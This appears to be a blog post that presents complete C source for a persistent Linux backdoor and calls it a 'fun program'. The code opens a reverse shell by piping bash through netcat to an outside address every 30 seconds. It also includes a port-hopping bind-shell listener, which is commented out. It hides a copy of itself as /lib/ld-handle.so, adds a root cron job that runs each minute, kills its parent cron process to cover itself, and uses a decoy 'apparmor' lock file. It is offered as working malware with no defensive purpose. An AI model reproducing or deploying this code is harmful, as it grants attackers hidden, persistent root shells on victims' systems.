Here’s a fun program that persistently backdoors a system.
Must run as root if you want the listener to be persistent. Of course it can be modified to use a normal user.
Utilizes a file lock to ensure only one instance of the program is running.
Forks itself, the child is a listener, and the parent is a beacon (double the backdoor fun!)
Kills the cron process (not the daemon) so there’s no hanging cron shell and disassociates itself from cron.
Copies its executable into a “normal” looking name and place.
Persists using cron-job that runs every minute.
Port hops after its connected to (not a keep-alive netcat listener, but it constantly restarts netcat)
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<string.h>
#include<sys/file.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<signal.h>
#define PLEN 8
void main_process(char *named_pipe,pid_t parent_pid);
void beacon(char *named_pipe, int interval_in_seconds);
int check_file_lock(void);
int random_port_range(int min,int max);
void generate_alphanumeric(char *s, int length);
void make_persistent(char** argv);
void hide_while_running(int ppid);
int main(int argc, char** argv) {
check_file_lock();
pid_t forked_pid;
pid_t parent_pid = getppid();
char named_pipe_dir[] = "/tmp/";
int np_buf = strlen(named_pipe_dir)+PLEN+1;
char listen_pipe[np_buf];
char beacon_pipe[np_buf];
strncpy(listen_pipe,named_pipe_dir,np_buf);
strncpy(beacon_pipe,named_pipe_dir,np_buf);
srand(time(NULL));
generate_alphanumeric(listen_pipe, PLEN);
generate_alphanumeric(beacon_pipe, PLEN);
make_persistent(argv);
mkfifo(listen_pipe, 0666);
mkfifo(beacon_pipe, 0666);
forked_pid = fork();
if (forked_pid == 0) {
main_process(listen_pipe,parent_pid);
}
else { //Socket data is coded into beacon function
int interval_in_seconds = 30;
beacon(beacon_pipe,interval_in_seconds);
}
remove(listen_pipe);
remove(beacon_pipe);
return 0;
}
void main_process(char *named_pipe,pid_t parent_pid) {
//Sets up a listener on a random port (defined in the while loop). Shovels out a shell.
//Of note, does not use -k so the port will change after each connection.
int listen_port;
char listener_command[60+strlen(named_pipe)*2]; //Magic number 60 refers to the rest of the command run by system() below.
hide_while_running(parent_pid);
/*while(1) {
listen_port = random_port_range(4000,4500);
snprintf(listener_command,sizeof(listener_command), "/bin/bash 0<%s | nc -l -p %d 1>%s", named_pipe, listen_port, named_pipe);
system(listener_command);
}*/
}
void beacon(char *named_pipe, int interval_in_seconds) {
//Parent process. Beacons out using nc every <interval_in_seconds>.
int beacon_port = 54311;
char beacon_dst[] = "1.2.3.4";
char beacon_command[60+strlen(named_pipe)*2];
snprintf(beacon_command,sizeof(beacon_command), "/bin/bash 0<%s | nc %s %d 1>%s", named_pipe, beacon_dst, beacon_port, named_pipe);
printf("Beacon started\n");
while(1) {
system(beacon_command);
sleep(interval_in_seconds);
}
printf("Beacon ended\n");
}
int random_port_range(int min,int max) {
//Just picks a random number between min and max and returns it
srand(time(NULL));
int range = max - min + 1;
int result = (rand()%range)+min;
return result;
}
void generate_alphanumeric(char *s, int length) {
//Appends <length> random characters to the end of string "s" followed by a \0. Make sure you have enough space in your character array.....
static const char alphanum[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
int start = strlen(s);
//i is started here because this is the length of directory name (ie. /tmp/ = 5)
//starting on 5 (position 6 in the array), wipes out the \0 and continues our string
int i;
for (i = start; i < length + start; ++i) {
s[i] = alphanum[rand() % (sizeof(alphanum)-1)];
}
s[length + start] = '\0';
}
void make_persistent(char** argv) {
//This function makes persistent by copying the executable (argv[0]) into a known location and adding it as a cron job
char new_path[] = "/lib/ld-handle.so";
if (access(new_path, F_OK ) == -1) {
char cp_command[strlen(argv[0])+strlen(new_path)+5];
//vulnerability here (relative path)
snprintf(cp_command,sizeof(cp_command),"cp %s %s",argv[0],new_path);
system(cp_command);
}
int check_cron = system("grep /lib/ld-handle.so /var/spool/cron/crontabs/root 1>/dev/null 2>&1");
if (check_cron > 0) {
FILE *cron_file = fopen("/var/spool/cron/crontabs/root","a");
fprintf(cron_file,"\n* * * * * /lib/ld-handle.so\n");
fclose(cron_file);
}
system("service cron start");
system("service cron reload");
}
void hide_while_running(pid_t ppid) {
//This function kills the parents ppid and ppid of the original program run. If started by cron, this will be a cron process.
//If you run this program, it will kill your shell.
char grep_command[50];
snprintf(grep_command,sizeof(grep_command),"grep PPid /proc/%d/status | cut -d: -f 2",ppid);
//Running a grep command to find this processes ppid. This will be a cron process (not the daemon) if started by cron
FILE *fp = popen(grep_command,"r");
char *response = NULL;
size_t len = 0;
//getline gets the response from the grep command, and puts the data into response
getline(&response, &len, fp);
pclose(fp);
//turn the response into an int so we can send a kill signal
int pid_to_kill = atoi(response);
printf("PPID to kill: %s\n",response);
kill(pid_to_kill, SIGTERM);
kill(ppid, SIGTERM);
if (access("/bin/ps2", F_OK ) == -1) {
//system("cp /bin/ps /bin/ps2");
printf("HIDE!");
}
}
int check_file_lock(void) {
//Trys to lock a file. If its already locked, program exits. This is so it only runs once.
int lockfile = open("/tmp/apparmor.lck",O_CREAT | O_RDWR, 0666);
int lock_status = flock(lockfile, LOCK_EX | LOCK_NB);
printf("LOCK STATUS: %d\n",lock_status);
if (lock_status < 0) {
exit(1);
}
return 0;
}
C Programming – Persistent Backdoor